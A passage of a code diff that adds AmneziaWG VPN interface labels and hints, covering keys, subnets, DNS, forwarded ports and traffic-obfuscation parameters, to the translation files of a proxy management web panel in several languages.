+ "amneziawgNoPeers": "لا يوجد أقران AmneziaWG نشطون حاليًا",
+ "amneziawgNoEvents": "لم تُسجَّل أحداث AmneziaWG بعد",
"config": "الإعدادات",
"backupTitle": "نسخ احتياطي واستعادة",
"exportDatabase": "اخزن نسخة",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "مفتاح وايرغارد المشترك مسبقًا",
"wireguardAllowedIPs": "عناوين IP المسموحة لوايرغارد",
"wireguardAllowedIPsHint": "اتركه فارغًا للتعيين التلقائي؛ افصل بين الإدخالات بفواصل",
+ "amneziaWgPrivateKey": "مفتاح AmneziaWG الخاص",
+ "amneziaWgPublicKey": "مفتاح AmneziaWG العام",
+ "amneziaWgPreSharedKey": "مفتاح AmneziaWG المشترك مسبقًا",
+ "amneziaWgAllowedIPs": "عناوين IP المسموحة لـ AmneziaWG",
+ "amneziaWgAllowedIPsHint": "اتركه فارغًا للتعيين التلقائي؛ افصل بين الإدخالات بفواصل",
+ "amneziaWgForwardedPorts": "المنافذ المُعاد توجيهها",
+ "amneziaWgForwardedPortsHint": "المنافذ/النطاقات المُعاد توجيهها (DNAT) لهذا العميل، مثل 80, 443, 8000-8100. اتركها فارغة إن لم تكن مطلوبة.",
+ "amneziaWgConfig": "إعدادات AmneziaWG",
"mtprotoSecret": "سر MTProto",
"mtprotoSecretHint": "سر FakeTLS الخاص بالعميل. أعد التوليد لتغييره.",
"mtprotoAdTag": "علامة إعلانية (قناة مموّلة)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "المفتاح السري",
"publicKey": "المفتاح العام",
+ "subnetIp": "الشبكة الفرعية",
+ "subnetCidr": "بادئة الشبكة الفرعية (CIDR)",
"allowedIPs": "عناوين IP المسموح بها",
"endpoint": "النهاية",
"domainStrategy": "استراتيجية الدومين"
},
+ "amneziawg": {
+ "privateKey": "المفتاح الخاص",
+ "publicKey": "المفتاح العام",
+ "subnetIp": "الشبكة الفرعية",
+ "subnetCidr": "بادئة الشبكة الفرعية (CIDR)",
+ "mtu": "الحد الأقصى لوحدة النقل (MTU)",
+ "primaryDns": "DNS الأساسي",
+ "secondaryDns": "DNS الثانوي",
+ "externalInterface": "الواجهة الخارجية",
+ "externalInterfaceHint": "واجهة الشبكة على الخادم المستخدمة لـ NAT (PostUp/PostDown). اتركها فارغة للاكتشاف التلقائي.",
+ "ipv6Enabled": "تفعيل IPv6",
+ "ipv6Subnet": "الشبكة الفرعية IPv6",
+ "ipv6SubnetHint": "مثل fd86:ea04:1115::/64. مطلوب عند تفعيل IPv6.",
+ "ipv6ExternalInterface": "الواجهة الخارجية لـ IPv6",
+ "ipv6ExternalInterfaceHint": "واجهة الشبكة على الخادم لإدخالات وكيل NDP. اتركها فارغة لاستخدام الواجهة الخارجية.",
+ "obfuscation": "معاملات التمويه",
+ "regenerateObfuscation": "إعادة التوليد",
+ "jc": "Jc (عدد الحزم العشوائية)",
+ "jmin": "Jmin (الحد الأدنى لحجم الحزمة العشوائية)",
+ "jmax": "Jmax (الحد الأقصى لحجم الحزمة العشوائية)",
+ "s1": "S1 (حجم حشو حزمة init)",
+ "s2": "S2 (حجم حشو حزمة response)",
+ "s3": "S3 (حشو رد الكوكي)",
+ "s4": "S4 (حشو حزمة النقل)",
+ "h1": "H1 (رأس سحري)",
+ "h2": "H2 (رأس سحري)",
+ "h3": "H3 (رأس سحري)",
+ "h4": "H4 (رأس سحري)",
+ "hHint": "رقم واحد أو نطاق. اتركه فارغًا للقيم الافتراضية الكلاسيكية 1/2/3/4.",
+ "i1": "I1 (حزمة التوقيع)",
+ "i1Hint": "حزمة توقيع اختيارية. اتركه فارغًا لعدم إرسالها.",
+ "i2": "I2 (حزمة التوقيع)",
+ "i3": "I3 (حزمة التوقيع)",
+ "i4": "I4 (حزمة التوقيع)",
+ "i5": "I5 (حزمة التوقيع)",
+ "headerProtectionKey": "HeaderProtectionKey (حماية الترويسات)",
+ "headerProtectionKeyHint": "مفتاح Base64 بطول 32 بايت؛ يجب أن يتطابق في إعدادات كل عميل. اتركه فارغًا لتعطيل حماية الترويسات.",
+ "contentPaddingAddition": "ContentPaddingAddition (حشو المحتوى)",
+ "contentPaddingAdditionHint": "عدد صحيح أو نطاق بايتات يُضاف إلى حزم المحتوى. اتركه فارغًا للتعطيل.",
+ "rekeyAfterTime": "RekeyAfterTime (ثوانٍ)",
+ "rekeyTimeout": "RekeyTimeout (ثوانٍ)",
+ "rejectAfterTime": "RejectAfterTime (ثوانٍ)",
+ "keepaliveTimeout": "KeepaliveTimeout (ثوانٍ)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "عدد صحيح أو نطاق. اتركه فارغًا لاستخدام قيمة WireGuard الافتراضية.",
+ "maxHandshakeAttemptsHint": "عدد محاولات المصافحة قبل التوقف. اتركه فارغًا للقيمة الافتراضية.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "يضيف بايتات عشوائية إلى نهاية كل حزمة. يتطلب AmneziaWG 3.1+ على الطرفين.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "عدم إرسال ردود الكوكي — يزيل بصمة DPI لكنه يضعف الحماية من الفيضانات."
+ },
"tun": {
"userLevel": "مستوى المستخدم"
},
diff --git a/internal/web/translation/en-US.json b/internal/web/translation/en-US.json
index 9a8a0f27c..b7a37c453 100644
--- a/internal/web/translation/en-US.json
+++ b/internal/web/translation/en-US.json
@@ -232,6 +232,15 @@
"logs": "Logs",
"accessLogs": "Access Logs",
"autoUpdate": "Auto Update",
+ "amneziawgLogs": "AmneziaWG Logs",
+ "amneziawgHandshake": "Last Handshake",
+ "amneziawgInterface": "Interface",
+ "amneziawgInbound": "Inbound",
+ "amneziawgEndpoint": "Endpoint",
+ "amneziawgIdle": "Idle",
+ "amneziawgEvents": "Events",
+ "amneziawgNoPeers": "No AmneziaWG peers are currently up",
+ "amneziawgNoEvents": "No AmneziaWG events recorded yet",
"config": "Config",
"backupTitle": "Backup & Restore",
"exportDatabase": "Back Up",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard Pre-Shared Key",
"wireguardAllowedIPs": "WireGuard Allowed IPs",
"wireguardAllowedIPsHint": "Leave empty to auto-assign; separate entries with commas",
+ "amneziaWgPrivateKey": "AmneziaWG Private Key",
+ "amneziaWgPublicKey": "AmneziaWG Public Key",
+ "amneziaWgPreSharedKey": "AmneziaWG Pre-Shared Key",
+ "amneziaWgAllowedIPs": "AmneziaWG Allowed IPs",
+ "amneziaWgAllowedIPsHint": "Leave empty to auto-assign; separate entries with commas",
+ "amneziaWgForwardedPorts": "Forwarded Ports",
+ "amneziaWgForwardedPortsHint": "Ports/ranges DNAT'd to this client, e.g. 80, 443, 8000-8100. Leave empty for none.",
+ "amneziaWgConfig": "AmneziaWG config",
"mtprotoSecret": "MTProto secret",
"mtprotoSecretHint": "The client's FakeTLS secret. Regenerate to rotate it.",
"mtprotoAdTag": "Ad-tag (sponsored channel)",
@@ -1887,10 +1904,63 @@
"wireguard": {
"secretKey": "Secret Key",
"publicKey": "Public Key",
+ "subnetIp": "Subnet",
+ "subnetCidr": "Subnet CIDR",
"allowedIPs": "Allowed IPs",
"endpoint": "Endpoint",
"domainStrategy": "Domain Strategy"
},
+ "amneziawg": {
+ "privateKey": "Private Key",
+ "publicKey": "Public Key",
+ "subnetIp": "Subnet",
+ "subnetCidr": "Subnet CIDR",
+ "mtu": "MTU",
+ "primaryDns": "Primary DNS",
+ "secondaryDns": "Secondary DNS",
+ "externalInterface": "External Interface",
+ "externalInterfaceHint": "Host NIC for NAT (PostUp/PostDown). Leave empty to auto-detect.",
+ "ipv6Enabled": "Enable IPv6",
+ "ipv6Subnet": "IPv6 Subnet",
+ "ipv6SubnetHint": "e.g. fd86:ea04:1115::/64. Required when IPv6 is enabled.",
+ "ipv6ExternalInterface": "IPv6 External Interface",
+ "ipv6ExternalInterfaceHint": "Host NIC each peer's IPv6 address is aliased onto. Leave empty to reuse External Interface.",
+ "obfuscation": "Obfuscation parameters",
+ "regenerateObfuscation": "Regenerate",
+ "jc": "Jc (junk packet count)",
+ "jmin": "Jmin (junk packet min size)",
+ "jmax": "Jmax (junk packet max size)",
+ "s1": "S1 (init packet junk size)",
+ "s2": "S2 (response packet junk size)",
+ "s3": "S3 (cookie reply padding)",
+ "s4": "S4 (transport packet padding)",
+ "h1": "H1 (magic header)",
+ "h2": "H2 (magic header)",
+ "h3": "H3 (magic header)",
+ "h4": "H4 (magic header)",
+ "hHint": "A single integer or a low-high range. Leave empty for the classic 1/2/3/4 default.",
+ "i1": "I1 (signature packet)",
+ "i1Hint": "Optional signature packet. Leave empty to omit it.",
+ "i2": "I2 (signature packet)",
+ "i3": "I3 (signature packet)",
+ "i4": "I4 (signature packet)",
+ "i5": "I5 (signature packet)",
+ "headerProtectionKey": "HeaderProtectionKey (header protection)",
+ "headerProtectionKeyHint": "Base64 32-byte key; must match on every client config. Leave empty to disable header protection.",
+ "contentPaddingAddition": "ContentPaddingAddition (content padding)",
+ "contentPaddingAdditionHint": "A single integer or low-high byte range added to content packets. Leave empty to disable.",
+ "rekeyAfterTime": "RekeyAfterTime (seconds)",
+ "rekeyTimeout": "RekeyTimeout (seconds)",
+ "rejectAfterTime": "RejectAfterTime (seconds)",
+ "keepaliveTimeout": "KeepaliveTimeout (seconds)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "A single integer or a low-high range. Leave empty to keep the WireGuard default.",
+ "maxHandshakeAttemptsHint": "Handshake retries before giving up. Leave empty for the default.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Appends random bytes to every packet. Both ends need AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Never send cookie replies — removes a DPI fingerprint; weakens flood mitigation."
+ },
"tun": {
"userLevel": "User Level"
},
diff --git a/internal/web/translation/es-ES.json b/internal/web/translation/es-ES.json
index 376d5b106..28c67a023 100644
--- a/internal/web/translation/es-ES.json
+++ b/internal/web/translation/es-ES.json
@@ -232,6 +232,15 @@
"logs": "Registros",
"accessLogs": "Registros de acceso",
"autoUpdate": "Actualización automática",
+ "amneziawgLogs": "Registros de AmneziaWG",
+ "amneziawgHandshake": "Último handshake",
+ "amneziawgInterface": "Interfaz",
+ "amneziawgInbound": "Entrada",
+ "amneziawgEndpoint": "Endpoint",
+ "amneziawgIdle": "Inactivo",
+ "amneziawgEvents": "Eventos",
+ "amneziawgNoPeers": "No hay peers de AmneziaWG activos",
+ "amneziawgNoEvents": "Aún no hay eventos de AmneziaWG registrados",
"config": "Configuración",
"backupTitle": "Copia & Restauración",
"exportDatabase": "Copia de seguridad",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Clave precompartida de WireGuard",
"wireguardAllowedIPs": "IP permitidas de WireGuard",
"wireguardAllowedIPsHint": "Déjalo vacío para asignar automáticamente; separa las entradas con comas",
+ "amneziaWgPrivateKey": "Clave privada de AmneziaWG",
+ "amneziaWgPublicKey": "Clave pública de AmneziaWG",
+ "amneziaWgPreSharedKey": "Clave precompartida de AmneziaWG",
+ "amneziaWgAllowedIPs": "IP permitidas de AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Déjalo vacío para asignar automáticamente; separa las entradas con comas",
+ "amneziaWgForwardedPorts": "Puertos reenviados",
+ "amneziaWgForwardedPortsHint": "Puertos/rangos redirigidos (DNAT) a este cliente, p. ej. 80, 443, 8000-8100. Déjalo vacío si no aplica.",
+ "amneziaWgConfig": "Configuración de AmneziaWG",
"mtprotoSecret": "Secreto MTProto",
"mtprotoSecretHint": "El secreto FakeTLS del cliente. Vuelve a generarlo para cambiarlo.",
"mtprotoAdTag": "Ad-tag (canal patrocinado)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Llave secreta",
"publicKey": "Llave pública",
+ "subnetIp": "Subred",
+ "subnetCidr": "CIDR de la subred",
"allowedIPs": "IP permitidas",
"endpoint": "Punto final",
"domainStrategy": "Estrategia de dominio"
},
+ "amneziawg": {
+ "privateKey": "Clave privada",
+ "publicKey": "Clave pública",
+ "subnetIp": "Subred",
+ "subnetCidr": "CIDR de la subred",
+ "mtu": "MTU",
+ "primaryDns": "DNS primario",
+ "secondaryDns": "DNS secundario",
+ "externalInterface": "Interfaz externa",
+ "externalInterfaceHint": "Interfaz de red del host para NAT (PostUp/PostDown). Déjalo vacío para autodetectar.",
+ "ipv6Enabled": "Habilitar IPv6",
+ "ipv6Subnet": "Subred IPv6",
+ "ipv6SubnetHint": "p. ej. fd86:ea04:1115::/64. Obligatorio cuando IPv6 está habilitado.",
+ "ipv6ExternalInterface": "Interfaz externa IPv6",
+ "ipv6ExternalInterfaceHint": "Interfaz de red del host para las entradas de proxy NDP. Déjalo vacío para reutilizar la interfaz externa.",
+ "obfuscation": "Parámetros de ofuscación",
+ "regenerateObfuscation": "Regenerar",
+ "jc": "Jc (cantidad de paquetes basura)",
+ "jmin": "Jmin (tamaño mínimo de paquete basura)",
+ "jmax": "Jmax (tamaño máximo de paquete basura)",
+ "s1": "S1 (relleno del paquete init)",
+ "s2": "S2 (relleno del paquete response)",
+ "s3": "S3 (relleno de cookie reply)",
+ "s4": "S4 (relleno del paquete de transporte)",
+ "h1": "H1 (cabecera mágica)",
+ "h2": "H2 (cabecera mágica)",
+ "h3": "H3 (cabecera mágica)",
+ "h4": "H4 (cabecera mágica)",
+ "hHint": "Un número entero o un rango. Déjalo vacío para los valores clásicos 1/2/3/4.",
+ "i1": "I1 (paquete de firma)",
+ "i1Hint": "Paquete de firma opcional. Déjalo vacío para omitirlo.",
+ "i2": "I2 (paquete de firma)",
+ "i3": "I3 (paquete de firma)",
+ "i4": "I4 (paquete de firma)",
+ "i5": "I5 (paquete de firma)",
+ "headerProtectionKey": "HeaderProtectionKey (protección de cabeceras)",
+ "headerProtectionKeyHint": "Clave Base64 de 32 bytes; debe coincidir en la configuración de cada cliente. Déjalo vacío para desactivar la protección de cabeceras.",
+ "contentPaddingAddition": "ContentPaddingAddition (relleno de contenido)",
+ "contentPaddingAdditionHint": "Un entero o un rango de bytes añadido a los paquetes de contenido. Déjalo vacío para desactivarlo.",
+ "rekeyAfterTime": "RekeyAfterTime (segundos)",
+ "rekeyTimeout": "RekeyTimeout (segundos)",
+ "rejectAfterTime": "RejectAfterTime (segundos)",
+ "keepaliveTimeout": "KeepaliveTimeout (segundos)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Un entero o un rango. Déjalo vacío para mantener el valor por defecto de WireGuard.",
+ "maxHandshakeAttemptsHint": "Reintentos de handshake antes de abandonar. Déjalo vacío para el valor por defecto.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Añade bytes aleatorios a cada paquete. Ambos extremos necesitan AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "No enviar cookie replies — elimina una huella para DPI, pero debilita la mitigación de inundaciones."
+ },
"tun": {
"userLevel": "Nivel de Usuario"
},
diff --git a/internal/web/translation/fa-IR.json b/internal/web/translation/fa-IR.json
index 0afdae1db..79230b9a6 100644
--- a/internal/web/translation/fa-IR.json
+++ b/internal/web/translation/fa-IR.json
@@ -232,6 +232,15 @@
"logs": "لاگها",
"accessLogs": "لاگهای دسترسی",
"autoUpdate": "بهروزرسانی خودکار",
+ "amneziawgLogs": "لاگهای AmneziaWG",
+ "amneziawgHandshake": "آخرین دستدهی",
+ "amneziawgInterface": "رابط شبکه",
+ "amneziawgInbound": "ورودی",
+ "amneziawgEndpoint": "نقطه اتصال",
+ "amneziawgIdle": "بیکار",
+ "amneziawgEvents": "رویدادها",
+ "amneziawgNoPeers": "هیچ پیر فعالی برای AmneziaWG وجود ندارد",
+ "amneziawgNoEvents": "هنوز رویدادی برای AmneziaWG ثبت نشده است",
"config": "پیکربندی",
"backupTitle": "پشتیبانگیری و بازیابی",
"exportDatabase": "پشتیبانگیری",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "کلید پیشاشتراکی وایرگارد",
"wireguardAllowedIPs": "آیپیهای مجاز وایرگارد",
"wireguardAllowedIPsHint": "برای تخصیص خودکار خالی بگذارید؛ ورودیها را با کاما جدا کنید",
+ "amneziaWgPrivateKey": "کلید خصوصی AmneziaWG",
+ "amneziaWgPublicKey": "کلید عمومی AmneziaWG",
+ "amneziaWgPreSharedKey": "کلید پیشاشتراکی AmneziaWG",
+ "amneziaWgAllowedIPs": "آیپیهای مجاز AmneziaWG",
+ "amneziaWgAllowedIPsHint": "برای تخصیص خودکار خالی بگذارید؛ ورودیها را با کاما جدا کنید",
+ "amneziaWgForwardedPorts": "پورتهای هدایتشده",
+ "amneziaWgForwardedPortsHint": "پورتها/محدودههای DNAT شده به این کلاینت، مثلاً 80, 443, 8000-8100. برای غیرفعال بودن خالی بگذارید.",
+ "amneziaWgConfig": "پیکربندی AmneziaWG",
"mtprotoSecret": "سکرت MTProto",
"mtprotoSecretHint": "سکرت FakeTLS این کلاینت. برای تعویض، دوباره تولید کنید.",
"mtprotoAdTag": "برچسب تبلیغاتی (کانال حامی)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "کلید شخصی",
"publicKey": "کلید عمومی",
+ "subnetIp": "زیرشبکه",
+ "subnetCidr": "پیشوند زیرشبکه (CIDR)",
"allowedIPs": "آیپیهای مجاز",
"endpoint": "نقطه پایانی",
"domainStrategy": "استراتژی حل دامنه"
},
+ "amneziawg": {
+ "privateKey": "کلید خصوصی",
+ "publicKey": "کلید عمومی",
+ "subnetIp": "زیرشبکه",
+ "subnetCidr": "پیشوند زیرشبکه (CIDR)",
+ "mtu": "MTU",
+ "primaryDns": "DNS اصلی",
+ "secondaryDns": "DNS ثانویه",
+ "externalInterface": "رابط خارجی",
+ "externalInterfaceHint": "رابط شبکه میزبان برای NAT (PostUp/PostDown). برای تشخیص خودکار خالی بگذارید.",
+ "ipv6Enabled": "فعالسازی IPv6",
+ "ipv6Subnet": "زیرشبکه IPv6",
+ "ipv6SubnetHint": "مثلاً fd86:ea04:1115::/64. هنگام فعال بودن IPv6 الزامی است.",
+ "ipv6ExternalInterface": "رابط خارجی IPv6",
+ "ipv6ExternalInterfaceHint": "رابط شبکه میزبان برای ورودیهای پراکسی NDP. برای استفاده از رابط خارجی خالی بگذارید.",
+ "obfuscation": "پارامترهای مبهمسازی",
+ "regenerateObfuscation": "بازتولید",
+ "jc": "Jc (تعداد بستههای زباله)",
+ "jmin": "Jmin (حداقل اندازه بسته زباله)",
+ "jmax": "Jmax (حداکثر اندازه بسته زباله)",
+ "s1": "S1 (اندازه پرکننده بسته init)",
+ "s2": "S2 (اندازه پرکننده بسته response)",
+ "s3": "S3 (پرکننده cookie reply)",
+ "s4": "S4 (پرکننده بسته انتقال)",
+ "h1": "H1 (سرصفحه جادویی)",
+ "h2": "H2 (سرصفحه جادویی)",
+ "h3": "H3 (سرصفحه جادویی)",
+ "h4": "H4 (سرصفحه جادویی)",
+ "hHint": "یک عدد صحیح یا یک بازه. برای مقادیر پیشفرض کلاسیک ۱/۲/۳/۴ خالی بگذارید.",
+ "i1": "I1 (بسته امضا)",
+ "i1Hint": "بسته امضای اختیاری. برای حذف آن خالی بگذارید.",
+ "i2": "I2 (بسته امضا)",
+ "i3": "I3 (بسته امضا)",
+ "i4": "I4 (بسته امضا)",
+ "i5": "I5 (بسته امضا)",
+ "headerProtectionKey": "HeaderProtectionKey (محافظت سرآیند)",
+ "headerProtectionKeyHint": "کلید Base64 با طول ۳۲ بایت؛ باید در پیکربندی همه کلاینتها یکسان باشد. برای غیرفعال کردن محافظت سرآیند خالی بگذارید.",
+ "contentPaddingAddition": "ContentPaddingAddition (پرکننده محتوا)",
+ "contentPaddingAdditionHint": "یک عدد صحیح یا بازه بایت که به بستههای محتوا افزوده میشود. برای غیرفعال کردن خالی بگذارید.",
+ "rekeyAfterTime": "RekeyAfterTime (ثانیه)",
+ "rekeyTimeout": "RekeyTimeout (ثانیه)",
+ "rejectAfterTime": "RejectAfterTime (ثانیه)",
+ "keepaliveTimeout": "KeepaliveTimeout (ثانیه)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "یک عدد صحیح یا یک بازه. برای استفاده از مقدار پیشفرض WireGuard خالی بگذارید.",
+ "maxHandshakeAttemptsHint": "تعداد تلاشهای دوباره دستدهی پیش از انصراف. برای مقدار پیشفرض خالی بگذارید.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "به انتهای هر بسته بایتهای تصادفی میافزاید. هر دو طرف باید AmneziaWG 3.1+ باشند.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "هرگز پاسخ کوکی ارسال نشود — اثر انگشت DPI را حذف میکند اما دفاع در برابر سیلآسا را ضعیف میکند."
+ },
"tun": {
"userLevel": "سطح کاربر"
},
diff --git a/internal/web/translation/id-ID.json b/internal/web/translation/id-ID.json
index ad8aaf5a2..7e0b0256d 100644
--- a/internal/web/translation/id-ID.json
+++ b/internal/web/translation/id-ID.json
@@ -232,6 +232,15 @@
"logs": "Log",
"accessLogs": "Log Akses",
"autoUpdate": "Pembaruan Otomatis",
+ "amneziawgLogs": "Log AmneziaWG",
+ "amneziawgHandshake": "Handshake Terakhir",
+ "amneziawgInterface": "Antarmuka",
+ "amneziawgInbound": "Inbound",
+ "amneziawgEndpoint": "Endpoint",
+ "amneziawgIdle": "Idle",
+ "amneziawgEvents": "Peristiwa",
+ "amneziawgNoPeers": "Tidak ada peer AmneziaWG yang aktif",
+ "amneziawgNoEvents": "Belum ada peristiwa AmneziaWG yang tercatat",
"config": "Konfigurasi",
"backupTitle": "Cadangan & Pulihkan",
"exportDatabase": "Cadangkan",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "Kunci Pra-Berbagi WireGuard",
"wireguardAllowedIPs": "IP yang Diizinkan WireGuard",
"wireguardAllowedIPsHint": "Biarkan kosong untuk penetapan otomatis; pisahkan entri dengan koma",
+ "amneziaWgPrivateKey": "Kunci Privat AmneziaWG",
+ "amneziaWgPublicKey": "Kunci Publik AmneziaWG",
+ "amneziaWgPreSharedKey": "Kunci Pra-Berbagi AmneziaWG",
+ "amneziaWgAllowedIPs": "IP yang Diizinkan AmneziaWG",
+ "amneziaWgAllowedIPsHint": "Biarkan kosong untuk penetapan otomatis; pisahkan entri dengan koma",
+ "amneziaWgForwardedPorts": "Port yang Diteruskan",
+ "amneziaWgForwardedPortsHint": "Port/rentang yang di-DNAT ke klien ini, mis. 80, 443, 8000-8100. Biarkan kosong jika tidak ada.",
+ "amneziaWgConfig": "Konfigurasi AmneziaWG",
"mtprotoSecret": "Secret MTProto",
"mtprotoSecretHint": "Secret FakeTLS klien. Buat ulang untuk menggantinya.",
"mtprotoAdTag": "Ad-tag (kanal bersponsor)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "Kunci Rahasia",
"publicKey": "Kunci Publik",
+ "subnetIp": "Subnet",
+ "subnetCidr": "CIDR Subnet",
"allowedIPs": "IP yang Diizinkan",
"endpoint": "Titik Akhir",
"domainStrategy": "Strategi Domain"
},
+ "amneziawg": {
+ "privateKey": "Kunci Privat",
+ "publicKey": "Kunci Publik",
+ "subnetIp": "Subnet",
+ "subnetCidr": "CIDR Subnet",
+ "mtu": "MTU",
+ "primaryDns": "DNS Utama",
+ "secondaryDns": "DNS Cadangan",
+ "externalInterface": "Antarmuka Eksternal",
+ "externalInterfaceHint": "NIC host untuk NAT (PostUp/PostDown). Biarkan kosong untuk deteksi otomatis.",
+ "ipv6Enabled": "Aktifkan IPv6",
+ "ipv6Subnet": "Subnet IPv6",
+ "ipv6SubnetHint": "mis. fd86:ea04:1115::/64. Wajib diisi saat IPv6 diaktifkan.",
+ "ipv6ExternalInterface": "NIC Eksternal IPv6",
+ "ipv6ExternalInterfaceHint": "NIC host untuk entri proxy NDP. Biarkan kosong untuk menggunakan NIC Eksternal.",
+ "obfuscation": "Parameter obfuskasi",
+ "regenerateObfuscation": "Buat ulang",
+ "jc": "Jc (jumlah paket sampah)",
+ "jmin": "Jmin (ukuran min paket sampah)",
+ "jmax": "Jmax (ukuran maks paket sampah)",
+ "s1": "S1 (padding paket init)",
+ "s2": "S2 (padding paket response)",
+ "s3": "S3 (padding cookie reply)",
+ "s4": "S4 (padding paket transport)",
+ "h1": "H1 (header ajaib)",
+ "h2": "H2 (header ajaib)",
+ "h3": "H3 (header ajaib)",
+ "h4": "H4 (header ajaib)",
+ "hHint": "Satu bilangan bulat atau rentang. Biarkan kosong untuk nilai klasik 1/2/3/4.",
+ "i1": "I1 (paket tanda tangan)",
+ "i1Hint": "Paket tanda tangan opsional. Biarkan kosong untuk melewatkannya.",
+ "i2": "I2 (paket tanda tangan)",
+ "i3": "I3 (paket tanda tangan)",
+ "i4": "I4 (paket tanda tangan)",
+ "i5": "I5 (paket tanda tangan)",
+ "headerProtectionKey": "HeaderProtectionKey (perlindungan header)",
+ "headerProtectionKeyHint": "Kunci Base64 32 byte; harus sama di konfigurasi setiap klien. Biarkan kosong untuk menonaktifkan perlindungan header.",
+ "contentPaddingAddition": "ContentPaddingAddition (padding konten)",
+ "contentPaddingAdditionHint": "Satu bilangan bulat atau rentang byte yang ditambahkan ke paket konten. Biarkan kosong untuk menonaktifkan.",
+ "rekeyAfterTime": "RekeyAfterTime (detik)",
+ "rekeyTimeout": "RekeyTimeout (detik)",
+ "rejectAfterTime": "RejectAfterTime (detik)",
+ "keepaliveTimeout": "KeepaliveTimeout (detik)",
+ "maxHandshakeAttempts": "MaxHandshakeAttempts",
+ "timingRangeHint": "Satu bilangan bulat atau rentang. Biarkan kosong untuk memakai bawaan WireGuard.",
+ "maxHandshakeAttemptsHint": "Jumlah percobaan ulang handshake sebelum menyerah. Biarkan kosong untuk nilai bawaan.",
+ "randomTrailers": "RandomTrailers",
+ "randomTrailersHint": "Menambahkan byte acak ke setiap paket. Kedua sisi butuh AmneziaWG 3.1+.",
+ "disableCookies": "DisableCookies",
+ "disableCookiesHint": "Tidak pernah mengirim cookie reply — menghapus sidik jari DPI, tetapi melemahkan mitigasi banjir."
+ },
"tun": {
"userLevel": "Level Pengguna"
},
diff --git a/internal/web/translation/ja-JP.json b/internal/web/translation/ja-JP.json
index 73ee64c48..c04abeab5 100644
--- a/internal/web/translation/ja-JP.json
+++ b/internal/web/translation/ja-JP.json
@@ -232,6 +232,15 @@
"logs": "ログ",
"accessLogs": "アクセスログ",
"autoUpdate": "自動更新",
+ "amneziawgLogs": "AmneziaWG ログ",
+ "amneziawgHandshake": "最終ハンドシェイク",
+ "amneziawgInterface": "インターフェース",
+ "amneziawgInbound": "インバウンド",
+ "amneziawgEndpoint": "エンドポイント",
+ "amneziawgIdle": "アイドル",
+ "amneziawgEvents": "イベント",
+ "amneziawgNoPeers": "稼働中の AmneziaWG ピアはありません",
+ "amneziawgNoEvents": "AmneziaWG のイベントはまだ記録されていません",
"config": "設定",
"backupTitle": "バックアップと復元",
"exportDatabase": "バックアップ",
@@ -858,6 +867,14 @@
"wireguardPreSharedKey": "WireGuard 事前共有鍵",
"wireguardAllowedIPs": "WireGuard 許可IP",
"wireguardAllowedIPsHint": "空欄で自動割り当て。複数指定はカンマ区切り",
+ "amneziaWgPrivateKey": "AmneziaWG 秘密鍵",
+ "amneziaWgPublicKey": "AmneziaWG 公開鍵",
+ "amneziaWgPreSharedKey": "AmneziaWG 事前共有鍵",
+ "amneziaWgAllowedIPs": "AmneziaWG 許可IP",
+ "amneziaWgAllowedIPsHint": "空欄で自動割り当て。複数指定はカンマ区切り",
+ "amneziaWgForwardedPorts": "転送ポート",
+ "amneziaWgForwardedPortsHint": "このクライアントに転送するポート/範囲。例: 80, 443, 8000-8100。空欄で転送なし。",
+ "amneziaWgConfig": "AmneziaWG 設定",
"mtprotoSecret": "MTProto シークレット",
"mtprotoSecretHint": "このクライアントの FakeTLS シークレット。変更するには再生成します。",
"mtprotoAdTag": "広告タグ(スポンサーチャンネル)",
@@ -1769,10 +1786,63 @@
"wireguard": {
"secretKey": "シークレットキー",
"publicKey": "公開鍵",
+ "subnetIp": "サブネット",
+ "subnetCidr": "サブネットCIDR",
"allowedIPs": "許可されたIP",
"endpoint": "エンドポイント",
"domainStrategy": "ドメイン戦略"
},
+ "amneziawg": {
+ "privateKey": "秘密鍵",
+ "publicKey": "公開鍵",
+ "subnetIp": "サブネット",
+ "subnetCidr": "サブネットCIDR",
+ "mtu": "MTU",
+ "primaryDns": "プライマリDNS",
+ "secondaryDns": "セカンダリDNS",
+ "externalInterface": "外部インターフェース",
+ "externalInterfaceHint": "NAT(PostUp/PostDown)に使用するホストのNIC。空欄で自動検出。",
+ "ipv6Enabled": "IPv6を有効化",
+ "ipv6Subnet": "IPv6サブネット",
+ "ipv6SubnetHint": "例: fd86:ea04:1115::/64。IPv6有効時は必須。",
+ "ipv6ExternalInterface": "IPv6外部NIC",
+ "ipv6ExternalInterfaceHint": "NDPプロキシエントリに使用するホストのNIC。空欄で外部NICを使用。",
+ "obfuscation": "難読化パラメータ",
+ "regenerateObfuscation": "再生成",
+ "jc": "Jc(ジャンクパケット数)",
+ "jmin": "Jmin(ジャンクパケット最小サイズ)",
+ "jmax": "Jmax(ジャンクパケット最大サイズ)",
+ "s1": "S1(initパケットのパディングサイズ)",
+ "s2": "S2(responseパケットのパディングサイズ)",
+ "s3": "S3(cookie replyパディング)",
+ "s4": "S4(トランスポートパケットパディング)",
+ "h1": "H1(マジックヘッダー)",
+ "h2": "H2(マジックヘッダー)",
+ "h3": "H3(マジックヘッダー)",
+ "h4": "H4(マジックヘッダー)",
